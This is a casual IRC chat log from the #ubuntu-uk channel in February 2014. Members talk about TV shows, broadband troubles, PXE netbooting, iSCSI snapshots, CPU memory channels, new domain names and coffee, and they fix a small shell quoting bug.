<neuro> his first day he turned up 2 hrs late stinking of booze because he'd been celebrating the night before with mates that he'd gotten the job
<neuro> fired on the spot
<neuro> (that wasn't at linden lab lol)
<maps|wrk> daftykins: why do you say your degree was a joke
<maps|wrk> you didnt do film studies
<maps|wrk> that;d be a joke
<maps|wrk> :D
<daftykins> XD
<daftykins> well it just wasn't challenging
<daftykins> it was if you hadn't used a computer much before, but wowzer
<maps|wrk> none of it? not even java or c ? or cripps stuff?
<MooDoo> evening all
<daftykins> well i was never into coding
<MooDoo> planet ubuntu down for anyone else?
<maps|wrk> yea but i mean didnt u find any of that hard at all
<MartijnVdS> MooDoo: yes
<MooDoo> thanks MartijnVdS :S ooops
<MooDoo> seems my chrome issue got fixed after a dist-upgrade :D
<MartijnVdS> *\o/*
<daftykins> maps|wrk: not enough to not pass :D
<maps|wrk> heh well thats good u dont wanna fail :P
<maps|wrk> http://www.radiotimes.com/episode/csx76x/the-truth-about-webcam-girls
<maps|wrk> A former porn star, Sammie was badly scarred by her time spent in the industry. Desperate to move on and study psychology, she nevertheless claims to have -- uhh how about dont do it in the first place
<maps|wrk> it's a no brainer
<neuro> ah, bbc three
<maps|wrk> ya
<maps|wrk> riles me when people choose these paths as they think it will be easy money then complain about the side effects
<neuro> not wanting to start a massive debate about it in here, a lot of people who end up in that industry and complain about it later didn't know what the realities would be, and probably needed the money
<dwatkins> I hear people say sometimes people have no choice, but I find that hard to believe.
<neuro> depends on your circumstances
<maps|wrk> neuro:  i agree but i mean isnt it obvious its not going to be all it seems
<neuro> not really
<neuro> especially if it's sold to you as a panacea
<dwatkins> yeah, neuro - I probaby have a skewed perspective, as I've been lucky
<neuro> exactly
<maps|wrk> dwatkins:  me too..when you read that some of them earn hundreds a day right ..they earn big money like they wanted
<dwatkins> I guess so, yeah
<neuro> but under degrading conditions
<maps|wrk> they coyuld have worked on the till at tesco..but they wouldnt get the same kinda money
<maps|wrk> yea but i mean they want the big money
<maps|wrk> they have the choice of working in a shop?
<neuro> what if you can't get work in a shop?
<maps|wrk> I'd be surprised , but also benefits..theyre there to pay for peoles rent and a bit more for food
<maps|wrk> noone has to become an escort etc..the council pay the rent and give you a few quid a week just not big sums like they want..no?
<neuro> thing is, you're trying to understand a situation you haven't been in
<maps|wrk> http://www.radiotimes.com/episode/csx7sz/24-hours-in-ae--series-5---episode-7
<maps|wrk> http://www.radiotimes.com/episode/qqcs9/snog-marry-avoid--series-5---2-olivia--kate
<maps|wrk> ever watched snog marry avoid
<dwatkins> clearly we should all be watching the horror channel +1, the original New Adventures of Wonder Woman is on.
<maps|wrk> thats huige LOLs
<maps|wrk> *huge
<dwatkins> They did a remake recently, well a pilot...
<maps|wrk> NOO CBS REALITY +1 JUDGE JUDY!!
<dwatkins> haha, or Enterprise...
<dwatkins> oh my there's a show caled "Psychic Today"
<maps|wrk> il be watching 24hrs a&e - possibly snog marry not decided
<maps|wrk> lol
<maps|wrk> on what chan
<neuro> you guys watch some crap tv ;)
<dwatkins> 650 on Freesat - Psychic TV
<dwatkins> neuro: I rarely watch TV, I'm just looking at what's ok.
<maps|wrk> hey judge judys good its been on for years and she's one of the highest paid reality stars;p
<neuro> it's really not good ;)
<maps|wrk> LOL a whole channel?
<dwatkins> maps|wrk: yeah, I find Judge Judy quite entertaining
<maps|wrk> bahaha is it one of those lame phone up for 4 quid a minute and she'll tell me live what my future is?
<maps|wrk> i like how she just shouts at them lol
 * neuro is going to crack on with House of Cards later
<maps|wrk> 'I'M NOT INTERESTED ..BE QUIET'
<dwatkins> I couldn't bring myself to watch that psychic show
<dwatkins> Which House of Cards?
<neuro> most "reality" tv is awful
<maps|wrk> agree neuro
<neuro> dwatkins: which one do you think?
<dwatkins> neuro: the new one (which is also good)
<maps|wrk> yea
<neuro> given that the original is years old, and the new one just had a second season released at the weekend ;)
<maps|wrk> u watched it dwatkins ? i still have to..havent eatched ANY of it
<dwatkins> oooh
<maps|wrk> got season 1 downloaded
<dwatkins> I saw season 1 of the new HoC
<neuro> "downloaded"?
<neuro> tut tut
<maps|wrk> what ep you upto neuro ?
<neuro> 6
<dwatkins> ...then I cancelled my Netflix subscription as it was one of the few things I watched.
<maps|wrk> i didnt even know there was an old one!
<neuro> oh dear
<dwatkins> hehe, hence my asking :)
<maps|wrk> tonights a good tv night
<maps|wrk> criminal minds..workaholics and men at work!!
<JGJones> I was watching Chuck recently.
<maps|wrk> http://www.tv.com/shows/workaholics/ checl it if you havent sene it
<dwatkins> Chuck is ace
<maps|wrk> *seen
<maps|wrk> ooh chuck..chuck was cool..the buy more?:D
<maps|wrk> and SARAH IS HOT
<JGJones> Yup she is :)
<dwatkins> well of course she is, that's hte point ;)
<maps|wrk> lol
<JGJones> Just finished Season 5 of Chuck.
<JGJones> I miss Sarah.
<maps|wrk> she was in dexter for a bit too!
<dwatkins> What was really surreal for me is that I have an ex called Sarah Walker.
<JGJones> And I am now on season 7 of Dexter...yah Sarah's back! well as Hannah.
<maps|wrk> yep:D
<maps|wrk> heh
<maps|wrk> still hot
<neuro> wednesday nights are crap in the states :)
<maps|wrk> just a cold blooded killer this time
<JGJones> And according to imdb, she's in that new 24 too.
<neuro> mondays and thursdays baby
<JGJones> I didn't expect to like Chuck though when I started watching it, 3 weeks ago.
<maps|wrk> snog marry report to police ..Hannah McKay (sarah)?
<JGJones> (yup...Netflix is awesome for binge watching)
<dwatkins> Shame Dexter had to end.
<maps|wrk> so which is it to be?:P
<maps|wrk> of the 3 options
<maps|wrk> considering she's super hot..but a KILLER
<dwatkins> JGJones: indeed, but I have a bandwidth cap, sadly
<neuro> fail
<maps|wrk> and i didnt know that JGJones  that is good..can't wait for the new 24! man 24 is good -
<maps|wrk> everyone here seen all of 24?
<JGJones> yeah.
<neuro> i couldn't survive with a download cap
<JGJones> more a question of - who haven't seen it all?
<dwatkins> I'm switching ISPs in a couple months.
<dwatkins> is the new 24 doing something different in terms of it's real-time thing?
<neuro> oh dear oh dear
<JGJones> Download cap would screw me esp with my kids - they watch netflix, iplayer, BT sport etc more than they watch live TV.
<neuro> www.bt.com
<JGJones> 24 - it's 12 hours this time and based in London.
<neuro> Issued by: VeriSign Class 3 Extended Validation SSL SGC CA
<maps|wrk> yea the new 24 is only like 12 eps o believe?
<maps|wrk> yea
<dwatkins> JGJones: yeah, a friend of mine has a toddler, they get through 400 GB a month easily
<neuro> Expired: Tuesday, 11 Fenruary 2014
<neuro> s/Fen/Feb/
<maps|wrk> MY NAME'S JACK BAUER AND THIS IS THE LONGEST DAY OF MY LIFE
<maps|wrk> my mate at work hasn't seen a single season of 24..;/
<neuro> me either
<MartijnVdS> maps|wrk: also, no toilet breaks of any kind
<JGJones> dwatkins: I haven't looked at how much we get thru a month. I just know it's unlimited and that's all I care about :D
<maps|wrk> i remember staying up late (when i was in college) to download it when it finished airing in the states
<maps|wrk> MartijnVdS: for who?
<maps|wrk> :)
<dwatkins> JGJones: I miss those days
<maps|wrk> you havent seen ANY neuro ?
<maps|wrk> :(
<MartijnVdS> maps|wrk: Anyone on 24?
<maps|wrk> oh
<neuro> saw maybe the first couple of episodes
<maps|wrk> lol
 * SuperEngineer just tuned into channel, speed read as catchup &... saw "ever watched snog, marry, avoid?" stopped skimming did a double take! [I didn't clock the 1st 2 words at first!]  ;)
<maps|wrk> MartijnVdS:  you watched?
<neuro> from what i've read about 24 in later seasons, i'm glad i avoided it
<maps|wrk> 24 was good but it was also good they didnt carry on and on
<maps|wrk> yea it got repetitive and a bit boring sometimes il admit thaty
<maps|wrk> but i still loved it - and comparedto a long running show like say eastenders its 1000x better...baffles me how garbage like eastenders/coronation st have been going so long?
<JGJones> After Dexter season 7, I'll finish off Br Ba (yes I haven't finished...I tend to switch seasons between shows)
<jussi> damn, this could be awesome... Canada are beating Latvia and USA beating Czech Rep.... Means if this stays the same we have Canada vs USA and Sweden Vs Finland semi finals. AWESOME!
<MartijnVdS> jussi: suomi finals? ;)
<JGJones> and then I'll watch House of Cards...after that...I have no idea.
<dwatkins> I like discovering new shows and watching them all the way through.
<maps|wrk> in what? ice hockey?
<neuro> I really need to catch up on stuff
<neuro> neuro@saratoga:/data/media$ du -sh TV\ Shows/
<neuro> 4.0T    TV Shows/
<jussi> maps|wrk: yep
<maps|wrk> hahaha nice neuro
<dwatkins> I ripped most of my DVDs
<maps|wrk> a lot to watch eh
<dwatkins> currently have a couple TB or so
<neuro> i dare not rip my DVDs
<neuro> crappy region 2 PAL copies
<dwatkins> why not, neuro?
<dwatkins> oh ok
<neuro> 5% speed up sucks
<maps|wrk> whys that matter though
<maps|wrk> 5% speed because its region 2?!
<neuro> 5% speed because it's PAL
<maps|wrk> uh
<jussi> and about 1 min to go... USA have it in the bag, (5-2) but canada could still mess it up (2-1)
<neuro> https://en.wikipedia.org/wiki/576i#PAL_speed-up
<maps|wrk> so what was the answer..sarah from chuck aka hannah mcckay you can snog her..marry her ..report her to the police... ..snog and then run away:)
<maps|wrk> jussi:  nice
<maps|wrk> yea but
<maps|wrk> jussi:  i guess latvia pull goalie could end 3-1 canada
<neuro> and if there's one thing I hate, it's things that sound weird
<jussi> maps|wrk: maybe, but could also go the other way...
<neuro> and movies playing at 5% faster than they should do sounds weird
<maps|wrk> yea of course
<maps|wrk> thats why they pull the goalie eh :)
<maps|wrk> if Latvia won and cz lose whats that mean for the fins?
<neuro> and also there's something particularly awesome about 1080p24
<dwatkins> I'd snog Sarah, but I'd be thinking of Suranne Jones.
<maps|wrk> google image search time;p
<neuro> and my new tv does 24p properly unlike my old, old one which didn't
<maps|wrk> ah
<dwatkins> she played the TARDIS in "The Doctor's Wife" as well as being in Scott & Bailey
<jussi> maps|wrk: its already drawn that the finns are playing sweden.
<maps|wrk> coronation st!
<maps|wrk> so what does these games matter?
<jussi> and the winners of USA vs Czech and Canada vs Latvia play each other
<jussi> then the winners of those play each other for the gold/silver
<jussi> and the losers play off for bronze
<maps|wrk> 2-1 FINAL
<maps|wrk> jussi 's happy :)
<jussi> yep, now we get the fun of USA vs Canada :D
<neuro> bah
<neuro> my mac mini through in the lounge isn't responding to anything but icmp echo :(
<maps|wrk> whats it running
<maps|wrk> USA to win it all?:P
<neuro> it's a mac, what do you think it's running?
<maps|wrk> well i thought you can run ubuntu on mac now
<neuro> and i would do that, why? :)
<maps|wrk> no idea!
<neuro> i've said repeatedly i don't run ubuntu desktop
<neuro> 5 macs and 2 dells in the house, none of them run ubuntu
<maps|wrk> pah fine ubuntu server?:P
<neuro> 5 intel macs anyway :)
<neuro> server? of course
<maps|wrk> i just meant ubuntu generally:P
<neuro> i run OS X native on my macs, win7 VMs on a couple, and win7/8 on my dells
<neuro> win 7 by choice on one, win 8 not by choice on the other
<maps|wrk> i dont really like win8
<maps|wrk> prefer 8
<neuro> me either
<maps|wrk> 7
<neuro> but it's only for games, and i've got it rigged to boot to desktop, so i rarely if ever look at the metro stuff
<maps|wrk> used windows 8 on the dell xps12 and just cant get used to it
<maps|wrk> http://www.dell.com/uk/p/xps-12-l221x/pd - lovely ultrabook/laptop whatever u wanna call it imo
<daftykins> heh
<ali1234> why is my centos webserver firewalling my google mini crawler?
<neuro> selinux?
<neuro> apache config?
<neuro> it's centos?
<jpds> systemd?
<neuro> zing :)
<ali1234> someone or something added a drop rule to iptables
<neuro> do you have something running that's auto adding rules based on packet rates?
<neuro> maybe your mini spammed it too hard
<ali1234> i assume that is what happened
<daftykins> i'm playing fault find the net connection tonight
<maps|wrk> whats wrong with it daftykins
<maps|wrk> unstable?
<daftykins> i've seen my downstream SNR drop to 2/3
<daftykins> 8Mb come off my downstream sync rate
<maps|wrk> hm
<daftykins> if i infinitely ping google.co.uk i see packet loss here and there
<maps|wrk> didnt you say weather seems to affect it? although weather seems ok (here at least atm)
<daftykins> i was wondering if all the rain was trashing my phone line
<jpds> daftykins: You should be fine with 3% packet loss: http://revk.www.me.uk/2014/02/bt-official-3-packet-loss-is-not-fault.html
<daftykins> an engineer called to tell me i can get stuffed if i want my war-time connection upgraded though
<maps|wrk> lol
<neuro> hehe the rev is awesome
<neuro> he makes bt do things even bt don't realise they can do
<maps|wrk> so even switching isp would be useless if they wont sort your line:<
<daftykins> http://pastebin.com/4djqZer5
<daftykins> gotta love my route
<maps|wrk> Web Page Blocked  Access to the web page you were trying to visit has been blocked in accordance with company policy. Please contact your system administrator if you believe this is in error.
<maps|wrk> =[
<jpds> Quick trip to Paris sounds like a good idea.
<neuro> http://teamcoco.com/video/fan-correction-admiral-ackbar
<JGJones> Good luck to Rev getting BT to fix a fault :)
<JGJones> I've had problems with BT that lasted nearly a year (I stuck with it because I was getting it free when it was working)
<neuro> JGJones: adrian is a master at it
<JGJones> End result - complete replacement of line from house to where it split from main trunk or whatever.
<JGJones> (that's after they kept sending me a new replacement router etc etc etc)
<JGJones> now that it all works flawlessly, I'm now paying for it. Sigh.
<JGJones> and no fibre or cable :(
<daftykins> heh
<daftykins> i'm not in England so i'm not at the mercy of BT
<neuro> *cough*infinityisn'tfibre*cough*
<daftykins> ^+1
<JGJones> True.
<daftykins> nor is Virgin Media ;D
<daftykins> my how the term is getting abused these days
<neuro> nope
<JGJones> Still...."fibre" is faster than what I currently have.
<neuro> i know, it winds me up
<JGJones> I don't mind the line speed - I get around 15-16Mbs - that's fine.
<JGJones> It's the upload speed that annoy me.
 * neuro looks at his 2x 75/19 ...
<JGJones> 385Kbs is a bit of a joke.
<JGJones> (I make quite a lot of video calls - so 385Kbs is pitiful)
<neuro> if 2014 me could go back in time to 2000 me when I moved into this house, and said "one day you'll have an aggregate of 150Mbps down, 38 up in this house", 2000 me would either have punched 2014 me in the face for bragging or 2000 me would have passed out from the shock
<JGJones> I sometime wonder if I'm just better off to switching to Three mobile broadband.
<neuro> 45 quid a month i was paying back then for unlimited dialup (plus the line rental)
<JGJones> It's faster than what I get with ADSL2+
<neuro> JGJones: if it's faster and you know you'll stay within the cap, why don't you?
<JGJones> but I think even Three would balk at over 500GB a month.
<neuro> well yeah
<JGJones> Not usually that high, but still...a few hundreds a month.
<neuro> i'm probably about the same
<JGJones> funny...piracy free and it's higher data consumption.
<daftykins> neuro: XD
<ali1234> is APF a redhat/centos thing
<neuro> https://www.dropbox.com/s/2qqvzdfgv19ae5x/status_rrd_graph_img_sky.png
<neuro> https://www.dropbox.com/s/fx1ynxbtdv8dyrj/status_rrd_graph_img_bt.png
<neuro> https://www.dropbox.com/s/s128bh1vnuaeoi5/status_rrd_graph_img_v6.png
 * neuro giggles
<maps|wrk> hmm
<maps|wrk> i cant run sudo under my own username
<ali1234> how can i see which pubkey someone authenticated with?
<ali1234> (ssh)
<ali1234> hmmmmmmm this server is a damn mess
<jussi> ali1234: Im sorry, Ill clean up next time :P :P
<SuperMatt> anyone want a copy of antichamber?
<MartijnVdS> SuperMatt: sure. Trade for super hexagon?
<SuperMatt> that a linux game in steam?
<MartijnVdS> SuperMatt: yes
<hazrpg> \o
<SuperMatt> sent you a link
<maps|wrk> has anyone ever done much with PXE? Can you boot the entire OS image off a network or is it just for installing over a network boot?
<SuperMatt> in theory, you could
<SuperMatt> but man, that'd be a pain
<maps|wrk> yea
<MartijnVdS> I've actually done that ;)
<MartijnVdS> NFS root
<MartijnVdS> it was.. flaky
<maps|wrk> so whats it usually used for? Usually used for just booting an image to install from over a network?
<maps|wrk> MartijnVdS:  dont suppose you wrote about what you did or have any links for info just interested
<MartijnVdS> maps|wrk: yes,  preseeded netboot
<maps|wrk> aha il look that up thanks
<maps|wrk> but in a normal environment pxe would be used to serve up say the windows/ubuntu image or whatever for the client machine to install off of?
<MartijnVdS> no, just the netboot/ directory from the Ubuntu CD (a kernel, a ramdisk and a pxeboot config file, basically)
<maps|wrk> and then get the rest off where?
<MartijnVdS> maps|wrk: http
<hazrpg> yeah, just off the internet
<MartijnVdS> or a local mirror
<hazrpg> I guess, you could probably serve it off the local... what MartijnVdS said :P
<dwatkins> some clusters boot the entire OS across the network as the nodes have no local storage
<MartijnVdS> but then you need enough ram for that
<dwatkins> each node has its own directory on the server containing its own copy of the OS
<dwatkins> iirc the BIOS of each node is set to PXE or TFTP boot from the server
<dwatkins> EFI and PXE, it seems
<MartijnVdS> dwatkins: I instal my VMs using PXE, and then store everything on iscsi.. that should work for storage-less "hardware" nodes, right? :)
<dwatkins> MartijnVdS: absolutely, yeah
<dwatkins> it might not be the most efficient solution, depends what you do. In some case (e.g. keeping a snapshot of the OS for fast and easy deployment) it can really help
<MartijnVdS> though with iscsi, you're always snapshotting a running image
<maps|wrk> yea
<MartijnVdS> hence the pxe
<dwatkins> oh, it has snapshots built-in?
<maps|wrk> always snapshptting a running image..what does that mean?!
<dwatkins> that sounds handy
<MartijnVdS> it's like turning a machine off by yanking the power
<MartijnVdS> then copying the disk
<MartijnVdS> it'll require an fsck at least, might induce data loss
<dwatkins> I wonder if it only finalises a file (document, image etc.) that's being written after the write is complete.
<maps|wrk> but you say its always snapshotting? i still dont get what that means..so even whole running?
<dwatkins> that way you are most likely to only have uncorrupted files if the snapshot is taken during write
<MartijnVdS> maps|wrk: you can always make a snapshot, not 'it's always snapshotting'
<maps|wrk> oh
<maps|wrk> so does that eab saving the current state of machine like vms can do?
<MartijnVdS> maps|wrk: only the disk, not the memory/cpu state.
<maps|wrk> still dont fully get it il have to google..not like backing up is it
<MartijnVdS> maps|wrk: it's like pausing a VM, then copying the disk byte for byte, then restarting the VM
<maps|wrk> ahh ok but when/how does it do it?
<MartijnVdS> maps|wrk: when you ask it to!
<MartijnVdS> maps|wrk: the iscsi target (server), that is
<MartijnVdS> it's a "disk over the network" kind of thing, so it's easier to snapshot than a real disk :)
<maps|wrk> why would that be any easier
<maps|wrk> but ok i kinda get it now
<MartijnVdS> maps|wrk: you don't have to pause the machine, yank the disk out, copy it, then put the disk back in and unpause :)
<maps|wrk> oh :)
<maps|wrk> Quiet again here now eh
<JGJones> Well we can't keep talking about Yvonne Strahovski all night long can we? ;-)
<maps|wrk> well
<maps|wrk> :)
<maps|wrk> first dates on chan4, that show can be amusing
<maps|wrk> http://www.dailymail.co.uk/femail/article-2562807/Now-thats-super-size-snack-Chocoholics-create-giant-versions-Oreos-Double-Deckers-Creme-Eggs.html
<maps|wrk> lol
<maps|wrk> pimp my snack!
<directhex> pimp my snack is, like,10+ years ago now, no?
<maps|wrk> perhaps
<maps|wrk> i just saw that article
<maps|wrk> woudjt fancy eating any opf them:)
#ubuntu-uk 2014-02-20
<diddledan> why didn't triple channel ram stick around?
<diddledan> seems odd that the i7 came out of the blocks with 3-channel and then the subsequent generation i7 didn't
<directhex> well
<directhex> there was i7 9xx, which was xeon in disguise
<directhex> and there was i7 8xx, which was i5 in a fancy coat
<diddledan> the system I have to the right of my hands is an i7 920
<diddledan> first-gen i7
<directhex> sandy bridge 3xxx and ivy bridge 4xxx follow the same pattern of being xeons, on socket 2011 instead of 1155
<directhex> and also support more than dual channel memory
<daftykins> i love that i had to wiggle my graphics card and SSD SATA cable today to get my machine to boot \o/
<daftykins> (again)
<daftykins> *sandy 2xxx and ivy 3xxx ?
<daftykins> ah no, they bumped the numbering D:
<daftykins> how rude
<knightwise> morning everyone
<mapps> hey
<shauno> o/
<MooDoo> morning all
<mapps> morning MooDoo  sup mate
<MooDoo> mapps: aye not bad mapps, yourself?
<mapps> not bad just watching last nights tv
<mapps> workaholics men at work and now criminal minds
<MooDoo> cool, think I was in bed by 9 last night, long day lol
<jussi> Ive had like 3 hours sleep. Little girl decided to be up for a long time... :/
<MooDoo> jussi: my kids are with their grandparents at the moment, so no kids in the house last night
<MartijnVdS> \o
<jussi> MooDoo: would you like some lemon juice to rub in with that salt?
<MooDoo> lol
<jussi> MooDoo: payback... you just lost the game.
<knightwise> morning everyone
<MooDoo> morning knightwise
<MooDoo> jussi: 0 - 1 to you then :p
<diplo> Morning all
<MooDoo> morning diplo
<TheOpenSourcerer> cool - a neutron star travelling at 5million mph ;-) (Which is *only* ~0.0074677145 C)
<TheOpenSourcerer> http://arstechnica.com/science/2014/02/neutron-star-spotted-moving-5-million-mph-trailing-particle-jet/
<MooDoo> TheOpenSourcerer: do we need a drilling team to go stop it hitting us?
<TheOpenSourcerer> try catching it ;-)
<bigcalm> Good morning peeps :)
<MartijnVdS> \o bigcalm
<MooDoo> morning bigcalm
<JamesTait> Good morning all; happy Love Your Pet Day! :-D
<MooDoo> JamesTait: morning
<MooDoo> JamesTait: do electronic pets count?
<JamesTait> MooDoo, do electric sheep dream of androids?
<MooDoo> JamesTait: maybe the jelly bean variety, although they may be slightly addicted to kit kats now ;)
<JamesTait> MooDoo, heathens! Why haven't they switched to Ubuntu Touch yet? ;)
<czajkowski> aloha
<czajkowski> hmmm all my keybindings for irc are gone
<czajkowski> booo
<czajkowski> how are folks?
<bigcalm> Wobbly
<JamesTait> Tired.
<MooDoo> I'm fine :D
 * jussi waves to czajkowski
<czajkowski> jussi: aloha
<czajkowski> hows you
<jussi> czajkowski: not bad, tired after elodi was up half the night, but otherwise good :))
<jussi> czajkowski: and you?
<MooDoo> czajkowski: how's the job?  you seem to be well busy at the moment.
<czajkowski> not bad thanks
<czajkowski> been a busy few weeks, heading to NYC in 2 weeks to work from there
<czajkowski> kinda nice to be abe to work with the rest of my team who are all based in an office
<MooDoo> wow sounds aweseome, need a tea boy?
<czajkowski> aww feeling loved this morning randall made a reference to me via databases in his amplify the sound post
<MooDoo> everyone loves you czajkowski
<czajkowski> I should feel honoured that he even saw my post :p
<czajkowski> MooDoo: LOL
<czajkowski> eh no
<MooDoo> czajkowski: well that's my being nice for the day done ;)  enjoy NYC it's awesome there :D  bacon and maple syrup hmmmmmm
<czajkowski> indeed
<czajkowski> every 3 months I go for a week with the new gig
<MooDoo> lucky lady
<czajkowski> the other half is coming this time and we're staying out an extra few days to do some tourist stuff
<MooDoo> brill :)
<jussi> only time I have been in NYC was when there was that ash cloud thing around UDS and I had to spend 1 night in some random airport hotel
<MooDoo> jussi: I went for my honey moon in 2007, seems ages ago, but loved it while I was there, SF next I think
<jussi> MooDoo: My next major destination will be home again... (australia)
<jussi> of course after my UK trip in a few weeks
<czajkowski> jussi: moving back or holiday ?
<MooDoo> jussi: nice, my brother in law is from oz, and I have another friend out there as well
<czajkowski> jussi: when are you in the UK and where?
<jussi> czajkowski: Manchester/liverpool area, 7-11 march.
<jussi> czajkowski: holiday
<jussi> czajkowski: I guess one day we will move there - I want Elodi to experience it
<popey> morning slackers
<jussi> popey: speak for yourself
<foobarry> elodi...nice name
<jussi> foobarry: thanks! :D
<foobarry> i like the french version particualrly
<popey> there's a "Sunshine" at my kids school
<jussi> and Gwyneth Paltrow has "Apple"
<MooDoo> god theres is alsorts at my kids school, chesleas chardonnay hepsibar all sorts
<jussi> a reasonable common finnish name is "Armi" :)
<bigcalm> I went to primary school with an Astra
<popey> I went in a Marina â»
<bigcalm> </rim-shot>
<foobarry> i went in a princess
<shauno> oh my
<jussi> bigcalm: I went to secondary school with a Joseph Kerr... Joe Kerr :)
<foobarry> dick ranking
<shauno> aye, we have a joe king
<MooDoo> seymour buttz!
<jussi> and I ll always remember the guy that won the local speedway when I was there: Wayne King!
<bigcalm> Amanda Hugnkiss
<TheOpenSourcerer> My eldest son has a friend at his school. His **first** name is...
<TheOpenSourcerer> Montybear
<MooDoo> When my wife was pregnant with child #1 her bump was called marsha, my surname is mellors ;)
<MooDoo> my mum believed we were calling baby marsha :)
<bigcalm> MooDoo: and why didn't you?
<MooDoo> bigcalm: don't like the name marsha for a boy :)
<bigcalm> Pishtosh
<MooDoo> lol
<czajkowski> that's an interesting thread on ubuntu-uk re restart on shutdown
<czajkowski> I've had that issues since Saucy and the same on Trusty
<MooDoo> bigcalm: I do however have a Rosie and Jim[my]
<czajkowski> I've tried various ppas but cannot pin point it
<bigcalm> MooDoo: \o/
<MooDoo> bigcalm: although jimmy moans at me if I call him Jim :D
<czajkowski> random poll:  what is the one thing you love to see at a conference that isn't a talk, the extra little perks like rooms to go and sit in and chat, or charge your laptop
<popey> oscon had an area of tables with power
<MartijnVdS> yes, lots and lots of power! :)
<czajkowski> popey: oh nice idea
<MartijnVdS> a spot outside that's *not* full of smokers
<popey> yeah, make smokers do the walk of shame before lghting up
<czajkowski> MartijnVdS: ah interesting idea!
<czajkowski> never even thought of that one
<popey> T screens with the schedule on, updating to show the current thing, and not past things
<popey> like we have at UDS
<czajkowski> I do love them and miss them when not at an event now
<czajkowski> kinda spoilt by how slick we had gotten UDS
<brobostigon> morning boys and girls.
<MooDoo> mornin brobostigon
<brobostigon> morning MooDoo
<MooDoo> how are you brobostigon
<brobostigon> MooDoo: not bad, still half asleep, and you?
<MooDoo> brobostigon: I'm ok thanks, just debating if I should purchase paulmellors.technology as a domain.
<brobostigon> interesting a domain, how much is it?
<foobarry> .technology? but of a mouthful
<foobarry> why not .tech ?
<MooDoo> yeah there a load of GTLs that have been released bike camera clothing etc
<MartijnVdS> MooDoo: paulmellors.pro
<MooDoo> tempted to have ubuntu.guru for a tech support site [after making sure it's ok with canonical of course] ;)
<brobostigon> does *.pmt exist ? my initials happen to be that, unfortunatly.
<MartijnVdS> brobostigon: .mt is Malta
<brobostigon> p.mt
<MooDoo> http://pastebin.com/WA3d2RNP
<foobarry> pricey
<MooDoo> ubuntu.guru already gone lol
<jussi> Hrm, maybe I should go grab a few more jussi01.$something
<jussi> :D
<shauno> most of them look pretty terrible.  it's odd to think that this is the result of a whole long fight
<MooDoo> shauno: there are a lot more coming, these are the first to have been made available.
<brobostigon> thought up a new hashtag #sadmanonatrackwereckinslowmotion
<brobostigon>  #sadmanonatrainwreckinslowmotion thats better
<shauno> I'll admit it .. I don't get it
<MooDoo> shauno: me neither, something about a as dman on at rain wreckin slo moti ion?
<MooDoo> ion cannon do you think ;)
<brobostigon>  #sad-man-on-a-train-wreck-in-slow-motion
<MooDoo> brobostigon: I know I was having a joke
<MartijnVdS> jussi: jussi01.museum
<brobostigon> MooDoo: i know, :)
<MooDoo> MartijnVdS: is he that old?
<MooDoo> MartijnVdS: I've just got ubuntu.technology :)
<dogmatic69> anyone see an issue here? $ if [ ! -z $files -a $files != " " ] ; then echo "Str" ; fi ;
<dogmatic69> -sh: [: too many arguments
<MartijnVdS> dogmatic69: that happens if $files contains $IFS (whitespace)
<MartijnVdS> dogmatic69: "$files" should fix that
<jussi> If I had any money I would buy jussi.today
<dogmatic69> MartijnVdS:  thanks, think its is whitespace
<dogmatic69> totally works, thanks
<MartijnVdS> dogmatic69: shell variable interpolation is scary stuff, I always surround it by "" :)
<TheOpenSourcerer> "${VAR}"
<MartijnVdS> the {} in that are only required if "$FOO" would be ambiguous (say, $FOO_bar -> ${FOO}_bar)
<TheOpenSourcerer> I find it much better to always enclose var in {}.
<TheOpenSourcerer> Habitt forming
<TheOpenSourcerer> \t\
<jussi> MooDoo: was it you who ran the domain registrar?
<TheOpenSourcerer> http://tldp.org/LDP/abs/html/globbingref.html
<MooDoo> jussi: I work for Heart Internet I don't run anything :D
<MooDoo> http://tumbleweed.popey.com/
<jussi> MooDoo: sssh, we are trying to sleep here - its the middle of the work day!
<shauno> not allowed to sleep, I kept getting nasty emails about my snoring.  just trying to look busy until lunchtime!
<brobostigon> coffee and MC shauno ?
<MooDoo> I'm trying to stay awake, reading canonicals page on licensing lol
<MooDoo> actually their intellectual property rights policy
<shauno> that's not going to keep you awake :(
<MooDoo> shauno: it is with the IV coffee I have as well ;)
<brobostigon> caffeine iv, wow.
<shauno> I recall looking into that.  the primary hurdle is that the FDA won't okay it because you can't promise the exact contents of the coffee - too much natural variation
<brobostigon> i see.
<MooDoo> shauno: might give it a try see what happens ;) just need to pick the right coffee i suppose
<brobostigon> borrow distilation equipment to remove the caffeine from the coffee.
<MooDoo> kinda defeats the object doesn't it ;)
<shauno> and start with espresso as it has a lower TDS ;)
<brobostigon> :)
<MooDoo> shauno: I think an experiment is in order, can I borrow your arm for a bit ;)
<shauno> not sure I'd make a good test subject.  my coffee to blood ratio is already out of whack
<shauno> reminds me of many moons ago, when I was even more stupid than I am now.  I tried snorting instant coffee.  do not recommend.
<MooDoo> pmsl you daft bugger :D
<shauno> it's nowhere near as interesting as it sounds either.  snort, sneeze, spend 3 hours trying to clean the kitchen before mum gets home
<MooDoo> lol
<knightwise> I should give that coffee mix a try that cory doctorow talks about in Little Brother
<MooDoo> the last wierd coffee I tasted was called rocket fuel with guarana in it
<MartijnVdS> guano?
<diplo> MooDoo: the guy I work with drinks that
<diplo> Rocket Fuel
<MooDoo> diplo: yeah was nice if I remember
<shauno> I really need to order moar coffe :/  bah
<shauno> I really need to find somewhere local instead of ordering it from the UK every month.  feels a bit silly
<diplo> I can't drink coffee :(
<MooDoo> diplo: how come?
<MartijnVdS> not since the accident
<jussi> I so read that wrong... though that what MartijnVdS said was from MooDoo, then diplo's statement becomes very funny
<MartijnVdS> jussi: http://tvtropes.org/pmwiki/pmwiki.php/Main/NoodleIncident
<diplo> Sorry MooDoo was on the phone, makes me gag.. never looked into it more.. I'd like to though, not sure what causes it
<jussi> seriously, anyone who descriibes themselves as a "thought leader" makes me feel uncomfortable..
<shauno> good news, there's a tld for that!  uncomfortablethoughtleader.sexy
<bigcalm> .sexy is a tld now?
<shauno> it seems so
<shauno> http://www.iana.org/domains/root/db/sexy.html
<jussi> lol
<jussi> perhaps I should buy code.sexy :P
<shauno> I almost want a .sexy email address just to make reading it out over the phone even more awkward than .me.uk
<knightwise> Whahaha :)
<marxjohnson> "Yes, my email address is... shauno@ur.sexy"
<marxjohnson> "@ what, sorry?" "U R DOT SEXY"
<marxjohnson> hours of fun
<knightwise> I would like "@heythere.sexy"
<MooDoo> in that can I want @im2.sexy
<marxjohnson> myshirt@im2.sexy
